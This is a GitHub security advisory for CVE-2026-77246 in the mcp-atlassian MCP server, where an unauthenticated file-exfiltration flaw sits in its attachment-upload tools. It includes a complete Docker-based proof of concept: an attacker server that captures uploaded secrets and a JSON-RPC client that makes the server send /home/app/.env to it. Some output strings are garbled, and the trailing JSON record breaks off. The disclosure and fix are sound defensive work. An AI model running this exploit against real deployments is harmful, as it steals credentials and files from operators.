GHSA-WV8V-V4C5-V75J
Vulnerability from github – Published: 2026-09-22 20:34 – Updated: 2026-09-22 20:34Summary
The mcp-atlassian server exposes an MCP tool (confluence_upload_attachment and the Jira attachment variant) that accepts an arbitrary server-side file path and opens it for upload without any path validation. When the server is deployed in HTTP transport mode (streamable-http or sse), a remote, unauthenticated attacker can supply attacker-controlled Atlassian service headers (X-Atlassian-Confluence-Url / X-Atlassian-Confluence-Personal-Token) to redirect the upload to an attacker-controlled endpoint, then pass an arbitrary file_path (e.g. /etc/passwd, ~/.env, SSH private keys, cloud credentials) to exfiltrate any file readable by the server process. No prior account, session token, or Authorization header is required. The vulnerability was confirmed through both static code analysis (Phase 1) and a live Docker-based proof-of-concept (Phase 2).
Details
Data flow (source → sink)
| Step | Location | Role |
|---|---|---|
| 1 | src/mcp_atlassian/servers/main.py:498-504 |
Middleware extracts X-Atlassian-Confluence-Url and X-Atlassian-Confluence-Personal-Token from incoming HTTP request headers. |
| 2 | src/mcp_atlassian/servers/main.py:584-595 |
When no Authorization header is present but service headers are, user_atlassian_auth_type is set to "pat", effectively bypassing authentication requirements. |
| 3 | src/mcp_atlassian/utils/urls.py:97-104 |
validate_url_for_ssrf blocks only localhost, RFC 1918 private ranges, and a small set of metadata hostnames. An attacker-controlled public domain or an allow-listed Docker container hostname (MCP_ALLOWED_URL_DOMAINS) passes this check. |
| 4 | src/mcp_atlassian/servers/dependencies.py:544-545 |
The attacker-controlled URL is injected directly as url= into ConfluenceConfig, constructing a ConfluenceFetcher pointed at the attacker's server. |
| 5 | src/mcp_atlassian/servers/confluence.py:1358-1361 |
The MCP tool argument file_path is forwarded to confluence_fetcher.upload_attachment() without any sanitization. |
| 6 | src/mcp_atlassian/confluence/attachments.py:64-79 |
The path is converted to an absolute path via os.path.abspath() and checked for existence only. validate_safe_path() — already used on download paths — is never called here, leaving no directory restriction in place. |
| 7 | src/mcp_atlassian/confluence/attachments.py:477 |
Sink: files = {"file": (filename, open(file_path, "rb"))} — the file is opened and sent as multipart to the attacker's server. |
| 8 | src/mcp_atlassian/jira/attachments.py:374-386 |
Parallel Jira sink: same os.path.abspath() pattern, no validate_safe_path, then open(file_path, "rb"). |
Key code evidence
# src/mcp_atlassian/confluence/attachments.py
64: if not os.path.isabs(file_path):
65: file_path = os.path.abspath(file_path)
68: if not os.path.exists(file_path):
77: filename = os.path.basename(file_path)
477: files = {"file": (filename, open(file_path, "rb"))} # ← sink
# src/mcp_atlassian/jira/attachments.py
374: if not os.path.isabs(file_path):
375: file_path = os.path.abspath(file_path)
386: with open(file_path, "rb") as file: # ← sink
387: attachment = self.jira.add_attachment(
Why validate_safe_path is absent: The function exists in the codebase and is correctly applied to download/read operations, but it was not applied to the upload path. This asymmetry means an attacker can read any file the server process can access, even though the intent was clearly to restrict path access.
Default configuration enables the attack: READ_ONLY_MODE defaults to false, making write tools (including attachment upload) active by default. HTTP transport is a first-class, documented production deployment mode (README, Helm chart, multi-tenant header-auth design).
Recommended remediation
--- a/src/mcp_atlassian/confluence/attachments.py
+++ b/src/mcp_atlassian/confluence/attachments.py
- if not os.path.isabs(file_path):
- file_path = os.path.abspath(file_path)
+ file_path = str(validate_safe_path(file_path))
filename = os.path.basename(file_path)
- files = {"file": (filename, open(file_path, "rb"))}
+ with open(file_path, "rb") as file_obj:
+ files = {"file": (filename, file_obj)}
+ response = self.confluence._session.put(
+ url, headers=headers, files=files, data=data
+ )
- response = self.confluence._session.put(
- url, headers=headers, files=files, data=data
- )
--- a/src/mcp_atlassian/jira/attachments.py
+++ b/src/mcp_atlassian/jira/attachments.py
- if not os.path.isabs(file_path):
- file_path = os.path.abspath(file_path)
+ file_path = str(validate_safe_path(file_path))
Additional hardening: reject header-based service URLs before fetcher construction using validate_url_for_ssrf with a strict allowlist, and consider defaulting READ_ONLY_MODE=true for remotely reachable deployments.
PoC
Prerequisites
- Docker (CLI + daemon) available on the attacker machine.
- Python 3.x with
httpxinstalled (pip install httpx). - The
mcp-atlassianrepository cloned locally (commitd8bc786or compatible).
Step 1 — Build the victim image
The Dockerfile at vuln-001/Dockerfile builds the mcp-atlassian server and plants a simulated .env file at /home/app/.env containing fake secrets:
SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3
DB_PASSWORD=pr0duct10n_d4tab4se_p4ss
AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY
docker build -t mcp-atlassian-vuln001 \
-f vuln-001/Dockerfile \
/path/to/mcp-atlassian-repo
Step 2 — Run the automated PoC script
The poc.py script orchestrates the full attack:
python3 poc.py \
--repo /path/to/mcp-atlassian-repo \
--victim-port 18000 \
--attacker-port 18888
The script performs the following actions automatically:
- Creates a Docker network (
poc-vuln001-net). - Starts an attacker HTTP server container (
poc-vuln001-attacker, port18888) that mimics a Confluence REST API and records multipart upload bodies. - Starts the victim MCP server container (
poc-vuln001-victim, port18000) withREAD_ONLY_MODE=falseandMCP_ALLOWED_URL_DOMAINS=poc-vuln001-attacker. - Sends the following MCP JSON-RPC sequence to
http://127.0.0.1:18000/mcp:
# Step 4a — initialize (no Authorization header)
headers = {
"X-Atlassian-Confluence-Url": "http://poc-vuln001-attacker:8888",
"X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc",
}
POST /mcp {"jsonrpc":"2.0","method":"initialize","id":1,
"params":{"protocolVersion":"2024-11-05","capabilities":{},
"clientInfo":{"name":"vuln001-poc","version":"1.0"}}}
# Step 4b — trigger file exfiltration
POST /mcp {"jsonrpc":"2.0","method":"tools/call","id":3,
"params":{"name":"confluence_upload_attachment",
"arguments":{"content_id":"123",
"file_path":"/home/app/.env"}}}
- Queries
http://127.0.0.1:18888/exfiland verifies that the attacker server received the file contents.
Expected result
The attacker server logs and /exfil endpoint confirm receipt of the victim file:
[attacker] *** EXFILTRATED FILE CONTENT START ***
SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3
DB_PASSWORD=pr0duct10n_d4tab4se_p4ss
AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY
[attacker] *** EXFILTRATED FILE CONTENT END ***
Phase 2 result: PASS — file exfiltration confirmed via live Docker PoC.
Impact
Vulnerability class: Unauthenticated server-side file exfiltration through an unvalidated path passed to an MCP attachment upload tool, combined with attacker-controlled service URL injection via HTTP request headers.
Who is impacted:
- Operators running
mcp-atlassianin HTTP transport mode (streamable-httporsse) on a network-reachable endpoint withREAD_ONLY_MODE=false(the default). This includes multi-tenant SaaS deployments, internal tooling servers exposed to a broader corporate network, and any cloud-hosted instance. - Users whose secrets are stored on the server filesystem are at risk of credential theft —
.envfiles, SSH private keys, cloud provider credentials (~/.aws/credentials), kubeconfig files, TLS certificates, and any other file readable by the process.
Constraints on exploitability:
- The server must be running in HTTP transport mode (not the default
stdiomode). READ_ONLY_MODEmust not be set totrue.- The attacker must be able to reach the
/mcpendpoint (adjacent network or internet, depending on deployment). - The SSRF domain allowlist (
MCP_ALLOWED_URL_DOMAINS) must permit the attacker's hostname, or the attacker must control a public domain that passes the IP blocklist check.
Despite these preconditions, all are met in documented production deployment configurations described in the project's own README and Helm chart.
Reproduction artifacts
Dockerfile
# VULN-001 PoC Victim Image
# Build con: mcp-atlassian repo root (use: docker build -f vuln-001/Dockerfile .)
# Builds the mcp-atlassian server and creates a secret file for exfiltration demonstration.
FROM ghcr.io/astral-sh/uv:python3.13-alpine AS builder
WORKDIR /app
ENV UV_COMPILE_BYTECODE=1
ENV UV_LINK_MODE=copy
# Copy dependency files
COPY pyproject.toml README.md uv.lock ./
# Install dependencies (without the project itself to leverage caching)
RUN --mount=type=cache,target=/root/.cache/uv \
uv sync --frozen --no-install-project --no-dev --no-editable
# Copy source and install the project
COPY src ./src
RUN --mount=type=cache,target=/root/.cache/uv \
uv sync --frozen --no-dev --no-editable
# Strip bytecode cache to reduce image size
RUN find /app/.venv -name '__pycache__' -type d -exec rm -rf {} + 2>/dev/null || true && \
find /app/.venv -name '*.pyc' -delete 2>/dev/null || true
# ── Final Stage ──────────────────────────────────────────────────────────────
FROM python:3.13-alpine
# Create non-root user mirroring a typical prod deployment
RUN adduser -D -h /home/app -s /bin/sh app
# Plant a sensitive file that the PoC will exfiltrate
RUN printf 'SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3\n' > /home/app/.env && \
printf 'DB_PASSWORD=pr0duct10n_d4tab4se_p4ss\n' >> /home/app/.env && \
printf 'AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY\n' >> /home/app/.env && \
chown app:app /home/app/.env
WORKDIR /app
USER app
COPY --from=builder --chown=app:app /app/.venv /app/.venv
ENV PATH="/app/.venv/bin:$PATH"
ENV PYTHONUNBUFFERED=1
# Default: streamable-http on 0.0.0.0:8000 (overridable at runtime)
ENTRYPOINT ["mcp-atlassian"]
CMD ["--transport", "streamable-http", "--port", "8000", "--host", "0.0.0.0"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 PoC — MCP HTTP Client: Server-Local File Exfiltration via
Unvalidated Attachment Upload Path (CWE-200, CVSS 7.4)
Attack chain:
1. Attacker sends X-Atlassian-Confluence-Url / Personal-Token headers — no
Authorization header required (unauthenticated PAT path, main.py:584-595).
2. SSRF check passes because MCP_ALLOWED_URL_DOMAINS whitelists the attacker
container hostname, bypassing DNS validation (urls.py:107-111).
3. ConfluenceFetcher is constructed with the attacker-controlled URL
(dependencies.py:544-545).
4. confluence_upload_attachment is called with file_path=/home/app/.env —
the path is absolutized but never validated against a safe root
(attachments.py:64-79).
5. The file is opened and PUT-ed as multipart to the attacker server
(attachments.py:477,490).
Usage:
python3 poc.py [--repo /path/to/repo] [--victim-port 18000]
[--attacker-port 18888] [--no-cleanup]
Requirements on the host running this script:
- docker (CLI + daemon)
- python3 with httpx (pip install httpx)
"""
import argparse
import json
import os
import subprocess
import sys
import textwrap
import time
# ── constants ──────────────────────────────────────────────────────────────
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
DEFAULT_REPO = os.path.join(
os.path.dirname(SCRIPT_DIR), "repo"
)
DOCKERFILE_PATH = os.path.join(SCRIPT_DIR, "Dockerfile")
NETWORK_NAME = "poc-vuln001-net"
VICTIM_NAME = "poc-vuln001-victim"
ATTACKER_NAME = "poc-vuln001-attacker"
VICTIM_IMAGE = "mcp-atlassian-vuln001"
ATTACKER_IMAGE = "python:3.12-slim"
TARGET_FILE = "/home/app/.env" # sensitive file planted in the victim image
# ── attacker server source (injected into the attacker container) ──────────
ATTACKER_SERVER_SRC = textwrap.dedent(r"""
import http.server, json, re, sys, threading
_exfil = [] # captured files
class H(http.server.BaseHTTPRequestHandler):
def log_message(self, fmt, *a):
print(f"[attacker-http] {fmt % a}", flush=True)
# Confluence auth probe — return a minimal valid user object
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
if self.path.rstrip("/") == "/exfil":
self.wfile.write(json.dumps({"files": _exfil}).encode())
elif self.path.rstrip("/") == "/ready":
self.wfile.write(b'{"status":"ok"}')
else:
self.wfile.write(json.dumps({
"key": "attacker-user", "displayName": "Attacker",
"emailAddress": "attacker@evil.example", "active": True,
"accountType": "atlassian"
}).encode())
def do_PUT(self): self._recv()
def do_POST(self): self._recv()
def _recv(self):
cl = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(cl) if cl else b""
ct = self.headers.get("Content-Type", "")
print(f"[attacker] {self.command} {self.path} body={len(body)}b ct={ct}", flush=True)
file_data = b""
if "multipart" in ct and body:
bm = re.search(r"boundary[=\s]+([\w\-]+)", ct)
if bm:
boundary = bm.group(1).encode()
for part in body.split(b"--" + boundary):
if b"\r\n\r\n" not in part:
continue
hdr, _, data = part.partition(b"\r\n\r\n")
if b'name="file"' in hdr or b"filename" in hdr:
file_data = data.rstrip(b"\r\n--")
break
if file_data:
text = file_data.decode(errors="replace")
print("[attacker] *** EXFILTRATED FILE CONTENT START ***", flush=True)
print(text[:4096], flush=True)
print("[attacker] *** EXFILTRATED FILE CONTENT END ***", flush=True)
_exfil.append({"path": self.path, "content": text[:4096], "size": len(file_data)})
else:
print("[attacker] WARNING: no file data found in request", flush=True)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({
"results": [{
"id": "att-001", "type": "attachment", "title": "exfiltrated",
"metadata": {"mediaType": "text/plain"},
"extensions": {"fileSize": len(file_data)}
}]
}).encode())
server = http.server.HTTPServer(("0.0.0.0", 8888), H)
print("[attacker] listening on 0.0.0.0:8888", flush=True)
sys.stdout.flush()
server.serve_forever()
""").strip()
# ── helpers ────────────────────────────────────────────────────────────────
def run(cmd: str, **kw):
r = subprocess.run(cmd, shell=True, capture_output=True, text=True, **kw)
return r.returncode, r.stdout, r.stderr
def run_ok(cmd: str, label: str = "") -> str:
rc, out, err = run(cmd)
if rc != 0:
tag = f" ({label})" if label else ""
print(f"[FAIL] Command{tag} exited {rc}:\n cmd: {cmd}\n stdout: {out}\n stderr: {err}", file=sys.stderr)
sys.exit(1)
return out
def docker_logs(name: str) -> str:
_, out, err = run(f"docker logs {name} 2>&1")
return out + err
def wait_http(url: str, timeout: int = 60, interval: float = 1.5) -> bool:
import urllib.request
deadline = time.time() + timeout
while time.time() < deadline:
try:
with urllib.request.urlopen(url, timeout=3) as r:
if r.status < 500:
return True
except Exception:
pass
time.sleep(interval)
return False
def cleanup(victim_name: str, attacker_name: str, network: str):
run(f"docker rm -f {victim_name} {attacker_name} 2>/dev/null")
run(f"docker network rm {network} 2>/dev/null")
def parse_sse_result(text: str) -> dict | None:
"""Extract the first JSON-RPC result from an SSE or plain-JSON body."""
for line in text.splitlines():
line = line.strip()
if line.startswith("data:"):
payload = line[5:].strip()
elif line.startswith("{"):
payload = line
else:
continue
try:
obj = json.loads(payload)
if "result" in obj or "error" in obj:
return obj
except json.JSONDecodeError:
continue
return None
# ── MCP client (pure stdlib + httpx) ──────────────────────────────────────
def mcp_exploit(victim_url: str, attacker_container_url: str, target_file: str) -> dict:
"""
Drive the MCP streamable-http protocol to call confluence_upload_attachment
with an arbitrary file_path.
Returns a dict with keys: success, session_id, response_text, error.
"""
import httpx
service_headers = {
"X-Atlassian-Confluence-Url": attacker_container_url,
"X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc",
}
base_headers = {
**service_headers,
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
}
with httpx.Client(timeout=30) as client:
# ── 1. initialize ──────────────────────────────────────────────
print(f"[poc] Sending initialize to {victim_url}")
resp = client.post(victim_url, headers=base_headers, json={
"jsonrpc": "2.0", "method": "initialize", "id": 1,
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "vuln001-poc", "version": "1.0"},
}
})
if resp.status_code not in (200, 201):
return {"success": False, "error": f"initialize failed: HTTP {resp.status_code}\n{resp.text[:400]}"}
session_id = resp.headers.get("mcp-session-id") or resp.headers.get("Mcp-Session-Id")
print(f"[poc] Session-Id: {session_id}")
session_headers = {**base_headers}
if session_id:
session_headers["Mcp-Session-Id"] = session_id
# ── 2. notifications/initialized ──────────────────────────────
client.post(victim_url, headers=session_headers, json={
"jsonrpc": "2.0", "method": "notifications/initialized"
})
# ── 3. tools/list (optional, just for visibility) ─────────────
try:
tl = client.post(victim_url, headers=session_headers, json={
"jsonrpc": "2.0", "method": "tools/list", "id": 2, "params": {}
})
tools_obj = parse_sse_result(tl.text) or {}
if "result" in tools_obj:
names = [t["name"] for t in tools_obj["result"].get("tools", [])]
print(f"[poc] Tools available: {names}")
if "confluence_upload_attachment" not in names:
print("[poc] WARNING: confluence_upload_attachment not in tools/list "
"(will still attempt tools/call)")
except Exception as e:
print(f"[poc] tools/list skipped: {e}")
# ── 4. tools/call ─────────────────────────────────────────────
print(f"[poc] Calling confluence_upload_attachment file_path={target_file}")
resp2 = client.post(victim_url, headers=session_headers, json={
"jsonrpc": "2.0", "method": "tools/call", "id": 3,
"params": {
"name": "confluence_upload_attachment",
"arguments": {
"content_id": "123",
"file_path": target_file,
}
}
}, timeout=30)
return {
"success": True,
"session_id": session_id,
"status_code": resp2.status_code,
"response_text": resp2.text[:2000],
"error": None,
}
# ── main ──────────────────────────────────────────────────────────────────
def main():
ap = argparse.ArgumentParser(description="VULN-001 PoC runner")
ap.add_argument("--repo", default=DEFAULT_REPO)
ap.add_argument("--victim-port", type=int, default=18000)
ap.add_argument("--attacker-port", type=int, default=18888)
ap.add_argument("--no-cleanup", action="store_true")
args = ap.parse_args()
repo_path = os.path.abspath(args.repo)
victim_port = args.victim_port
attacker_port = args.attacker_port
print("=" * 60)
print("VULN-001 PoC — MCP File Exfiltration via Attachment Upload")
print("=" * 60)
print(f"Repo: {repo_path}")
print(f"Dockerfile: {DOCKERFILE_PATH}")
print(f"Victim port: {victim_port}")
print(f"Attacker port: {attacker_port}")
print()
# ── 0. pre-flight ─────────────────────────────────────────────────
cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME)
# ── 1. build victim image ─────────────────────────────────────────
print("[*] Building victim image (this may take a few minutes)...")
rc, out, err = run(
f"docker build --no-cache -t {VICTIM_IMAGE} "
f"-f {DOCKERFILE_PATH} {repo_path}"
)
if rc != 0:
print(f"[FAIL] docker build failed:\n{err[-3000:]}", file=sys.stderr)
sys.exit(1)
print(f"[+] Victim image built: {VICTIM_IMAGE}")
# ── 2. create network ─────────────────────────────────────────────
print("[*] Creating Docker network...")
run_ok(f"docker network create {NETWORK_NAME}", "network create")
print(f"[+] Network created: {NETWORK_NAME}")
try:
# ── 3. start attacker container ────────────────────────────────
print("[*] Starting attacker HTTP server...")
attacker_code_escaped = ATTACKER_SERVER_SRC.replace("'", "'\"'\"'")
run_ok(
f"docker run -d "
f"--network {NETWORK_NAME} "
f"--name {ATTACKER_NAME} "
f"-p {attacker_port}:8888 "
f"{ATTACKER_IMAGE} "
f"python3 -c '{attacker_code_escaped}'",
"start attacker"
)
if not wait_http(f"http://127.0.0.1:{attacker_port}/ready", timeout=30):
print("[FAIL] Attacker server did not start in time")
print(docker_logs(ATTACKER_NAME))
sys.exit(1)
print(f"[+] Attacker server ready on port {attacker_port}")
# ── 4. start victim container ──────────────────────────────────
print("[*] Starting victim MCP server...")
run_ok(
f"docker run -d "
f"--network {NETWORK_NAME} "
f"--name {VICTIM_NAME} "
f"-p {victim_port}:8000 "
f"-e TRANSPORT=streamable-http "
f"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} "
f"-e READ_ONLY_MODE=false "
f"-e MCP_LOGGING_STDOUT=true "
f"-e MCP_VERBOSE=true "
f"{VICTIM_IMAGE} "
f"--transport streamable-http --port 8000 --host 0.0.0.0",
"start victim"
)
print("[*] Waiting for victim MCP server to be ready...")
if not wait_http(f"http://127.0.0.1:{victim_port}/healthz", timeout=60):
print("[FAIL] Victim server did not start in time")
print(docker_logs(VICTIM_NAME))
sys.exit(1)
print(f"[+] Victim MCP server ready on port {victim_port}")
# ── 5. run the exploit ─────────────────────────────────────────
print()
print("[*] Launching MCP exploit...")
victim_mcp_url = f"http://127.0.0.1:{victim_port}/mcp"
attacker_container_url = f"http://{ATTACKER_NAME}:8888"
result = mcp_exploit(victim_mcp_url, attacker_container_url, TARGET_FILE)
if not result["success"]:
print(f"[FAIL] MCP exploit error: {result['error']}")
print("Victim logs:\n", docker_logs(VICTIM_NAME)[-2000:])
sys.exit(1)
print(f"[poc] tools/call HTTP {result['status_code']}")
print(f"[poc] Response:\n{result['response_text']}")
# ── 6. verify exfiltration ─────────────────────────────────────
time.sleep(2)
import urllib.request
with urllib.request.urlopen(
f"http://127.0.0.1:{attacker_port}/exfil", timeout=5
) as r:
exfil_data = json.loads(r.read())
attacker_raw_logs = docker_logs(ATTACKER_NAME)
print()
print("Attacker server logs:")
print(attacker_raw_logs[-4000:])
files = exfil_data.get("files", [])
confirmed = bool(files) or (
"EXFILTRATED FILE CONTENT" in attacker_raw_logs
and "SECRET_DEPLOY_KEY" in attacker_raw_logs
)
evidence_snippet = ""
if files:
evidence_snippet = files[0].get("content", "")[:500]
elif "EXFILTRATED FILE CONTENT START" in attacker_raw_logs:
start = attacker_raw_logs.find("EXFILTRATED FILE CONTENT START") + len("EXFILTRATED FILE CONTENT START") + 4
end = attacker_raw_logs.find("EXFILTRATED FILE CONTENT END", start)
evidence_snippet = attacker_raw_logs[start:end].strip()[:500]
print()
if confirmed:
print("[PASS] file leak confirmed — attacker servertext victim containertext sensitive filetext receivedtext.")
print(f"[PASS] Evidence snippet:\n{evidence_snippet}")
else:
print("[FAIL] file leak evidencetext checktext text.")
print("attacker_logs:", attacker_raw_logs[-1000:])
# ── 7. write phase2_result.json ────────────────────────────────
phase2 = {
"passed": confirmed,
"verdict": "PASS" if confirmed else "FAIL",
"reason": (
"MCP HTTP clienttext X-Atlassian-Confluence-Url / Personal-Token headeronlyas "
"without authentication ConfluenceFetchertext createtext, confluence_upload_attachment tooltext "
"file_path=/home/app/.envtext path verification text open() and attacker servertext senddone. "
"attachments.py:477 open(file_path,'rb')text sensitive filetext text multipart PUT requesttext containsdone."
if confirmed else
"attacker servertext file receivedtext checktext could not — logtext referenceand failure cause text required."
),
"build_command": (
f"docker build -t {VICTIM_IMAGE} "
f"-f {DOCKERFILE_PATH} {repo_path}"
),
"run_command": (
f"docker network create {NETWORK_NAME} && "
f"docker run -d --network {NETWORK_NAME} --name {ATTACKER_NAME} "
f"-p {attacker_port}:8888 {ATTACKER_IMAGE} python3 -c '<attacker_server_src>' && "
f"docker run -d --network {NETWORK_NAME} --name {VICTIM_NAME} "
f"-p {victim_port}:8000 "
f"-e TRANSPORT=streamable-http "
f"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} "
f"-e READ_ONLY_MODE=false "
f"{VICTIM_IMAGE} --transport streamable-http --port 8000 --host 0.0.0.0"
),
"poc_command": (
f"python3 {os.path.basename(__file__)} "
f"--repo {repo_path} "
f"--victim-port {victim_port} "
f"--attacker-port {attacker_port}"
),
"evidence": evidence_snippet or attacker_raw_logs[-500:],
"artifacts": ["Dockerfile", "poc.py"],
}
result_path = os.path.join(SCRIPT_DIR, "phase2_result.json")
with open(result_path, "w") as f:
json.dump(phase2, f, indent=2, ensure_ascii=False)
print(f"\n[*] phase2_result.json written: {result_path}")
finally:
if not args.no_cleanup:
print("[*] Cleaning up containers and network...")
cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME)
print("[*] Cleanup done.")
else:
print(f"[*] --no-cleanup: containers left running ({VICTIM_NAME}, {ATTACKER_NAME})")
if __name__ == "__main__":
main()
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mcp-atlassian"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77246"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22",
"CWE-441"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:34:45Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe `mcp-atlassian` server exposes an MCP tool (`confluence_upload_attachment` and the Jira attachment variant) that accepts an arbitrary server-side file path and opens it for upload without any path validation. When the server is deployed in HTTP transport mode (`streamable-http` or `sse`), a remote, unauthenticated attacker can supply attacker-controlled Atlassian service headers (`X-Atlassian-Confluence-Url` / `X-Atlassian-Confluence-Personal-Token`) to redirect the upload to an attacker-controlled endpoint, then pass an arbitrary `file_path` (e.g. `/etc/passwd`, `~/.env`, SSH private keys, cloud credentials) to exfiltrate any file readable by the server process. No prior account, session token, or `Authorization` header is required. The vulnerability was confirmed through both static code analysis (Phase 1) and a live Docker-based proof-of-concept (Phase 2).\n\n---\n\n### Details\n\n**Data flow (source \u2192 sink)**\n\n| Step | Location | Role |\n|------|----------|------|\n| 1 | `src/mcp_atlassian/servers/main.py:498-504` | Middleware extracts `X-Atlassian-Confluence-Url` and `X-Atlassian-Confluence-Personal-Token` from incoming HTTP request headers. |\n| 2 | `src/mcp_atlassian/servers/main.py:584-595` | When no `Authorization` header is present but service headers are, `user_atlassian_auth_type` is set to `\"pat\"`, effectively bypassing authentication requirements. |\n| 3 | `src/mcp_atlassian/utils/urls.py:97-104` | `validate_url_for_ssrf` blocks only `localhost`, RFC 1918 private ranges, and a small set of metadata hostnames. An attacker-controlled public domain or an allow-listed Docker container hostname (`MCP_ALLOWED_URL_DOMAINS`) passes this check. |\n| 4 | `src/mcp_atlassian/servers/dependencies.py:544-545` | The attacker-controlled URL is injected directly as `url=` into `ConfluenceConfig`, constructing a `ConfluenceFetcher` pointed at the attacker\u0027s server. |\n| 5 | `src/mcp_atlassian/servers/confluence.py:1358-1361` | The MCP tool argument `file_path` is forwarded to `confluence_fetcher.upload_attachment()` without any sanitization. |\n| 6 | `src/mcp_atlassian/confluence/attachments.py:64-79` | The path is converted to an absolute path via `os.path.abspath()` and checked for existence only. `validate_safe_path()` \u2014 already used on download paths \u2014 is **never called** here, leaving no directory restriction in place. |\n| 7 | `src/mcp_atlassian/confluence/attachments.py:477` | **Sink**: `files = {\"file\": (filename, open(file_path, \"rb\"))}` \u2014 the file is opened and sent as multipart to the attacker\u0027s server. |\n| 8 | `src/mcp_atlassian/jira/attachments.py:374-386` | Parallel Jira sink: same `os.path.abspath()` pattern, no `validate_safe_path`, then `open(file_path, \"rb\")`. |\n\n**Key code evidence**\n\n```python\n# src/mcp_atlassian/confluence/attachments.py\n64: if not os.path.isabs(file_path):\n65: file_path = os.path.abspath(file_path)\n68: if not os.path.exists(file_path):\n77: filename = os.path.basename(file_path)\n477: files = {\"file\": (filename, open(file_path, \"rb\"))} # \u2190 sink\n```\n\n```python\n# src/mcp_atlassian/jira/attachments.py\n374: if not os.path.isabs(file_path):\n375: file_path = os.path.abspath(file_path)\n386: with open(file_path, \"rb\") as file: # \u2190 sink\n387: attachment = self.jira.add_attachment(\n```\n\n**Why `validate_safe_path` is absent**: The function exists in the codebase and is correctly applied to download/read operations, but it was not applied to the upload path. This asymmetry means an attacker can read any file the server process can access, even though the intent was clearly to restrict path access.\n\n**Default configuration enables the attack**: `READ_ONLY_MODE` defaults to `false`, making write tools (including attachment upload) active by default. HTTP transport is a first-class, documented production deployment mode (README, Helm chart, multi-tenant header-auth design).\n\n**Recommended remediation**\n\n```diff\n--- a/src/mcp_atlassian/confluence/attachments.py\n+++ b/src/mcp_atlassian/confluence/attachments.py\n- if not os.path.isabs(file_path):\n- file_path = os.path.abspath(file_path)\n+ file_path = str(validate_safe_path(file_path))\n filename = os.path.basename(file_path)\n- files = {\"file\": (filename, open(file_path, \"rb\"))}\n+ with open(file_path, \"rb\") as file_obj:\n+ files = {\"file\": (filename, file_obj)}\n+ response = self.confluence._session.put(\n+ url, headers=headers, files=files, data=data\n+ )\n- response = self.confluence._session.put(\n- url, headers=headers, files=files, data=data\n- )\n\n--- a/src/mcp_atlassian/jira/attachments.py\n+++ b/src/mcp_atlassian/jira/attachments.py\n- if not os.path.isabs(file_path):\n- file_path = os.path.abspath(file_path)\n+ file_path = str(validate_safe_path(file_path))\n```\n\nAdditional hardening: reject header-based service URLs before fetcher construction using `validate_url_for_ssrf` with a strict allowlist, and consider defaulting `READ_ONLY_MODE=true` for remotely reachable deployments.\n\n---\n\n### PoC\n\n**Prerequisites**\n\n- Docker (CLI + daemon) available on the attacker machine.\n- Python 3.x with `httpx` installed (`pip install httpx`).\n- The `mcp-atlassian` repository cloned locally (commit `d8bc786` or compatible).\n\n**Step 1 \u2014 Build the victim image**\n\nThe `Dockerfile` at `vuln-001/Dockerfile` builds the `mcp-atlassian` server and plants a simulated `.env` file at `/home/app/.env` containing fake secrets:\n\n```\nSECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3\nDB_PASSWORD=pr0duct10n_d4tab4se_p4ss\nAWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY\n```\n\n```bash\ndocker build -t mcp-atlassian-vuln001 \\\n -f vuln-001/Dockerfile \\\n /path/to/mcp-atlassian-repo\n```\n\n**Step 2 \u2014 Run the automated PoC script**\n\nThe `poc.py` script orchestrates the full attack:\n\n```bash\npython3 poc.py \\\n --repo /path/to/mcp-atlassian-repo \\\n --victim-port 18000 \\\n --attacker-port 18888\n```\n\nThe script performs the following actions automatically:\n\n1. Creates a Docker network (`poc-vuln001-net`).\n2. Starts an **attacker HTTP server** container (`poc-vuln001-attacker`, port `18888`) that mimics a Confluence REST API and records multipart upload bodies.\n3. Starts the **victim MCP server** container (`poc-vuln001-victim`, port `18000`) with `READ_ONLY_MODE=false` and `MCP_ALLOWED_URL_DOMAINS=poc-vuln001-attacker`.\n4. Sends the following MCP JSON-RPC sequence to `http://127.0.0.1:18000/mcp`:\n\n```python\n# Step 4a \u2014 initialize (no Authorization header)\nheaders = {\n \"X-Atlassian-Confluence-Url\": \"http://poc-vuln001-attacker:8888\",\n \"X-Atlassian-Confluence-Personal-Token\": \"fake-pat-token-for-poc\",\n}\nPOST /mcp {\"jsonrpc\":\"2.0\",\"method\":\"initialize\",\"id\":1,\n \"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\n \"clientInfo\":{\"name\":\"vuln001-poc\",\"version\":\"1.0\"}}}\n\n# Step 4b \u2014 trigger file exfiltration\nPOST /mcp {\"jsonrpc\":\"2.0\",\"method\":\"tools/call\",\"id\":3,\n \"params\":{\"name\":\"confluence_upload_attachment\",\n 